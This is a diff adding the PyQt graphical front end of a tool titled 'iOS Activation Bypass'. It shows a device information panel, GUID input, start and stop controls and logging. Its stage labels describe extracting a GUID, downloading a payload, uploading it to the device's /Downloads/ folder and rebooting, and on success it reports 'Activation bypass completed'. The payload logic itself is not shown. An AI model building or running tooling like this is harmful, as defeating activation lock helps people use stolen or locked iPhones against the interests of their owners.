+# === Device information panel ===
+class DeviceInfoPanel(QWidget):
+    def __init__(self):
+        super().__init__()
+        self.setup_ui()
+        self.update_info()
+
+    def setup_ui(self):
+        layout = QHBoxLayout()
+        layout.setContentsMargins(12, 12, 12, 12)
+        layout.setSpacing(16)
+
+        # Left side: status + image
+        img_container = QVBoxLayout()
+        img_container.setAlignment(Qt.AlignmentFlag.AlignTop)
+
+        self.status_indicator = QLabel("●")
+        self.status_indicator.setFont(QFont("SF Mono", 16))
+        self.status_indicator.setStyleSheet("color: #999;")
+        img_container.addWidget(self.status_indicator, alignment=Qt.AlignmentFlag.AlignLeft)
+
+        self.img_label = QLabel()
+        img_path = Path("assets/iphone.png")
+        if img_path.exists():
+            pixmap = QPixmap(str(img_path))
+            size = 128
+            screen = QApplication.primaryScreen()
+            if screen:
+                size = int(128 * screen.devicePixelRatio())
+            pixmap = pixmap.scaled(size, size, Qt.AspectRatioMode.KeepAspectRatio, Qt.TransformationMode.SmoothTransformation)
+            self.img_label.setPixmap(pixmap)
+        else:
+            self.img_label.setText("📱\n\niPhone\n(not found)")
+            self.img_label.setAlignment(Qt.AlignmentFlag.AlignCenter)
+            self.img_label.setStyleSheet("font-size: 14px; color: #888;")
+
+        img_container.addWidget(self.img_label)
+        layout.addLayout(img_container)
+
+        # Right side: text
+        info_layout = QVBoxLayout()
+        info_layout.setSpacing(6)
+
+        title_label = QLabel("Device Information")
+        title_label.setFont(QFont("Segoe UI", 11, QFont.Weight.Bold))
+        info_layout.addWidget(title_label)
+
+        self.model_label = QLabel("Model: —")
+        self.ios_label = QLabel("iOS: —")
+        self.activation_label = QLabel("Activation: —")
+        self.udid_label = QLabel("UDID: —")
+
+        for lbl in [self.model_label, self.ios_label, self.activation_label, self.udid_label]:
+            lbl.setFont(QFont("SF Mono, Menlo, monospace", 10))
+            info_layout.addWidget(lbl)
+
+        layout.addLayout(info_layout)
+        self.setLayout(layout)
+
+    def update_info(self, info: Optional[Dict[str, str]] = None):
+        if not info or not isinstance(info, dict):
+            info = {"ProductType": "—", "ProductVersion": "—", "ActivationState": "—", "UniqueDeviceID": "—"}
+
+        # Status
+        act = info.get("ActivationState", "").strip()
+        if act == "Activated":
+            self.status_indicator.setStyleSheet("color: #4caf50;")
+            self.status_indicator.setToolTip("✅ Activated")
+        elif act in ("Unactivated", "—"):
+            self.status_indicator.setStyleSheet("color: #ff9800;")
+            self.status_indicator.setToolTip("⚠ Not activated")
+        else:
+            self.status_indicator.setStyleSheet("color: #f44336;")
+            self.status_indicator.setToolTip("❌ Unknown")
+
+        # Model
+        model_map = {
+            "iPhone13,4": "iPhone 12 Pro Max",
+            "iPhone13,3": "iPhone 12 Pro",
+            "iPhone13,2": "iPhone 12",
+            "iPhone14,5": "iPhone 13",
+            "iPhone15,2": "iPhone 14 Pro",
+            "iPhone15,3": "iPhone 14 Pro Max",
+            "iPhone16,1": "iPhone 15 Pro",
+            "iPhone16,2": "iPhone 15 Pro Max",
+        }
+        code = info.get("ProductType", "Unknown")
+        name = model_map.get(code, code)
+        self.model_label.setText(f"Model: {name}")
+
+        # Other info
+        self.ios_label.setText(f"iOS: {info.get('ProductVersion', '—')}")
+        state = info.get("ActivationState", "—")
+        color = "#4caf50" if state == "Activated" else "#ff9800"
+        self.activation_label.setText(f'<span style="color:{color};">Activation: <b>{state}</b></span>')
+        self.activation_label.setTextFormat(Qt.TextFormat.RichText)
+
+        udid = info.get("UniqueDeviceID", "—")
+        if len(udid) > 10:
+            udid = udid[:6] + "…" + udid[-4:]
+        self.udid_label.setText(f"UDID: {udid}")
+
+
+# === Main window ===
+class MainWindow(QMainWindow):
+    def __init__(self):
+        super().__init__()
+        self.setWindowTitle("📱 iOS Activation Bypass (GUI)")
+        self.resize(920, 700)
+        self.thread = None
+
+        # ✅ QSettings — only after QApplication
+        self.settings = QSettings("Rust505", "iOSActivatorGUI")
+
+        # Device update timer
+        self._device_timer = QTimer()
+        self._device_timer.timeout.connect(self.detect_device)
+        self._device_timer.start(3000)
+
+        # Central widget
+        central = QWidget()
+        self.setCentralWidget(central)
+        main_layout = QVBoxLayout(central)
+        main_layout.setContentsMargins(16, 16, 16, 16)
+        main_layout.setSpacing(12)
+
+        # Device panel
+        device_frame = QFrame()
+        device_frame.setFrameShape(QFrame.Shape.StyledPanel)
+        device_frame.setFrameShadow(QFrame.Shadow.Raised)
+        device_layout = QVBoxLayout(device_frame)
+        device_layout.addWidget(QLabel("📱 Connected Device"), alignment=Qt.AlignmentFlag.AlignLeft)
+        self.device_panel = DeviceInfoPanel()
+        device_layout.addWidget(self.device_panel)
+        main_layout.addWidget(device_frame)
+
+        # GUID mode
+        mode_group = QGroupBox("GUID Input Mode")
+        mode_layout = QHBoxLayout()
+        self.radio_auto = QRadioButton("Auto-detect (recommended)")
+        self.radio_manual = QRadioButton("Manual input")
+        self.radio_auto.setChecked(True)
+        group = QButtonGroup()
+        group.addButton(self.radio_auto)
+        group.addButton(self.radio_manual)
+        mode_layout.addWidget(self.radio_auto)
+        mode_layout.addWidget(self.radio_manual)
+        mode_group.setLayout(mode_layout)
+        main_layout.addWidget(mode_group)
+
+        # GUID field
+        guid_layout = QHBoxLayout()
+        guid_layout.addWidget(QLabel("GUID:"))
+        self.guid_edit = QLineEdit()
+        self.guid_edit.setPlaceholderText("e.g. 1A2B3C4D-1234-4123-8888-ABCDEF012345")
+        self.guid_edit.textChanged.connect(self._validate_guid)
+        self.guid_edit.setMaximumWidth(500)
+        guid_layout.addWidget(self.guid_edit)
+        main_layout.addLayout(guid_layout)
+
+        # Buttons
+        btn_layout = QHBoxLayout()
+        self.start_btn = QPushButton("▶ Start Activation")
+        self.stop_btn = QPushButton("⏹ Stop")
+        self.stop_btn.setEnabled(False)
+        self.start_btn.clicked.connect(self.start_activation)
+        self.stop_btn.clicked.connect(self.stop_activation)
+        btn_layout.addWidget(self.start_btn)
+        btn_layout.addWidget(self.stop_btn)
+        main_layout.addLayout(btn_layout)
+
+        # Progress
+        self.progress = QProgressBar()
+        self.progress.setRange(0, 100)
+        self.progress.setValue(0)
+        main_layout.addWidget(self.progress)
+
+        # Logs
+        log_group = QGroupBox("Logs")
+        log_layout = QVBoxLayout()
+        self.log_view = QTextEdit()
+        self.log_view.setReadOnly(True)
+        self.log_view.setFont(QFont("SF Mono, Menlo, Monaco, monospace", 10))
+        self.log_view.setStyleSheet("background: #1e1e1e; color: #e0e0e0;")
+        log_layout.addWidget(self.log_view)
+        log_group.setLayout(log_layout)
+        main_layout.addWidget(log_group)
+
+        # Connect signals
+        emitter.log_signal.connect(self.append_log)
+        emitter.progress_signal.connect(self.progress.setValue)
+        emitter.success_signal.connect(self.on_success)
+        emitter.error_signal.connect(self.on_error)
+        emitter.device_update_signal.connect(self.device_panel.update_info)
+        emitter.stage_signal.connect(self._on_stage_change)
+
+        # Load last GUID (if exists)
+        last_guid = self.settings.value("last_guid", "")
+        if last_guid and validate_guid(last_guid):
+            self.radio_manual.setChecked(True)
+            self.guid_edit.setText(last_guid.upper())
+
+        # Check dependencies and update device
+        self._check_dependencies()
+        self.detect_device()
+
+    def _check_dependencies(self):
+        missing = [b for b in ['ideviceinfo', 'idevice_id', 'pymobiledevice3', 'curl'] if not find_binary(b)]
+        if missing:
+            msg = (
+                f"⚠ Missing tools: {', '.join(missing)}\n\n"
+                "Install with:\n"
+                "  brew install libimobiledevice usbmuxd\n"
+                "  pip3 install -U pymobiledevice3"
+            )
+            QMessageBox.critical(self, "Dependency Error", msg)
+            self.start_btn.setEnabled(False)
+
+    def _validate_guid(self):
+        text = self.guid_edit.text().strip()
+        valid = bool(text and validate_guid(text.upper()))
+        self.guid_edit.setStyleSheet("" if valid else "background: #ffebee;" if len(text) > 8 else "")
+
+    def detect_device(self):
+        if self.thread and self.thread.isRunning():
+            return
+        try:
+            code, out, _ = run_cmd(["ideviceinfo"], timeout=5)
+            info = {}
+            if code == 0:
+                for line in out.splitlines():
+                    if ": " in line:
+                        k, v = line.split(": ", 1)
+                        info[k.strip()] = v.strip()
+                # UDID
+                udid_code, udid_out, _ = run_cmd(["idevice_id", "-l"], timeout=3)
+                if udid_code == 0:
+                    info["UniqueDeviceID"] = udid_out.strip() or "—"
+            emitter.device_update_signal.emit(info)
+        except Exception as e:
+            emitter.device_update_signal.emit({})
+
+    def _on_stage_change(self, stage: str):
+        labels = {
+            "detect": "🔍 Detecting device...",
+            "guid": "📡 Extracting GUID...",
+            "download": "📥 Downloading payload...",
+            "upload": "📤 Uploading to /Downloads/...",
+            "reboot": "🔄 Rebooting (×3)...",
+            "done": "✅ Done!",
+        }
+        self.progress.setFormat(labels.get(stage, stage))
+
+    def start_activation(self):
+        if self.thread and self.thread.isRunning():
+            return
+
+        auto = self.radio_auto.isChecked()
+        guid = self.guid_edit.text().strip().upper() if self.radio_manual.isChecked() else None
+
+        if self.radio_manual.isChecked():
+            if not guid:
+                QMessageBox.warning(self, "Input Required", "GUID field is empty.")
+                return
+            if not validate_guid(guid):
+                QMessageBox.warning(self, "Invalid GUID", "GUID must be UUID v4 (e.g. XXXXXXXX-XXXX-4XXX-YXXX-XXXXXXXXXXXX).")
+                return
+
+        self.log_view.clear()
+        self.append_log("🚀 Starting activation process...", "info")
+        self.start_btn.setEnabled(False)
+        self.stop_btn.setEnabled(True)
+        self.progress.setValue(0)
+        self.progress.setFormat("Initializing...")
+
+        self.thread = ActivatorWorker(auto=auto, guid=guid)
+        self.thread.finished.connect(self._on_thread_finished)
+        self.thread.start()
+
+    def stop_activation(self):
+        if self.thread and self.thread.isRunning():
+            self.append_log("⏹ Stop requested...", "warn")
+            self.thread.stop()
+            self.thread.wait(2000)
+            if self.thread.isRunning():
+                self.thread.terminate()
+                self.append_log("⚠ Thread forcibly terminated.", "error")
+            self._on_thread_finished()
+
+    def _on_thread_finished(self):
+        self.start_btn.setEnabled(True)
+        self.stop_btn.setEnabled(False)
+
+    def append_log(self, msg: str, level='info'):
+        colors = {'success': '#4caf50', 'error': '#f44336', 'warn': '#ff9800',
+                  'step': '#2196f3', 'info': '#64b5f6', 'detail': '#90a4ae'}
+        color = colors.get(level, '#e0e0e0')
+        ts = time.strftime("%H:%M:%S")
+        html = f'<span style="color:#78909c;">[{ts}]</span> <span style="color:{color};">{msg}</span><br>'
+        self.log_view.append(html)
+        self.log_view.moveCursor(QTextCursor.MoveOperation.End)
+        self.log_view.ensureCursorVisible()
+
+    def on_success(self):
+        self.append_log("🎉 ACTIVATION SUCCESSFUL!", "success")
+        # Save GUID
+        guid = self.guid_edit.text().strip().upper()
+        if guid and validate_guid(guid):
+            self.settings.setValue("last_guid", guid)
+        QMessageBox.information(self, "Success", "✅ Activation bypass completed!\n\n"
+                                                 "Check Settings → General → About.")
+        self.detect_device()
+
+    def on_error(self, err: str):
+        self.append_log(f"❌ Fatal: {err}", "error")
+        QMessageBox.critical(self, "Activation Failed", f"Process terminated with error:\n\n<b>{err}</b>")
+
+
+# === Theme and icon ===
+def enable_dark_mode(app: QApplication):
+    try:
+        import subprocess
+        res = subprocess.run(["defaults", "read", "-g", "AppleInterfaceStyle"],
+                             capture_output=True, text=True)
+        is_dark = res.returncode == 0 and "Dark" in res.stdout
+    except:
+        is_dark = True
+
+    if is_dark:
+        app.setStyle("Fusion")
+        p = QPalette()
+        p.setColor(QPalette.ColorRole.Window, QColor(38, 38, 38))
+        p.setColor(QPalette.ColorRole.WindowText, Qt.GlobalColor.white)
+        p.setColor(QPalette.ColorRole.Base, QColor(28, 28, 28))
+        p.setColor(QPalette.ColorRole.AlternateBase, QColor(48, 48, 48))
+        p.setColor(QPalette.ColorRole.ToolTipBase, Qt.GlobalColor.white)
+        p.setColor(QPalette.ColorRole.ToolTipText, Qt.GlobalColor.white)
+        p.setColor(QPalette.ColorRole.Text, Qt.GlobalColor.white)
+        p.setColor(QPalette.ColorRole.Button, QColor(68, 68, 68))
+        p.setColor(QPalette.ColorRole.ButtonText, Qt.GlobalColor.white)
+        p.setColor(QPalette.ColorRole.BrightText, Qt.GlobalColor.red)
+        p.setColor(QPalette.ColorRole.Link, QColor(40, 140, 240))
+        p.setColor(QPalette.ColorRole.Highlight, QColor(40, 140, 240))
+        p.setColor(QPalette.ColorRole.HighlightedText, Qt.GlobalColor.black)
+        app.setPalette(p)
+
+
+def set_app_icon(app: QApplication):
+    icon_path = Path("assets/app_icon.png")
+    if icon_path.exists():
+        app.setWindowIcon(QIcon(str(icon_path)))
+
+
+# === Entry point ===
+if __name__ == "__main__":
+    app = QApplication(sys.argv)
+    app.setApplicationName("iOS Activation Bypass")
+    app.setOrganizationName("Rust505")
+    enable_dark_mode(app)
+    set_app_icon(app)
+
+    window = MainWindow()
+    window.show()
+
+    sys.exit(app.exec())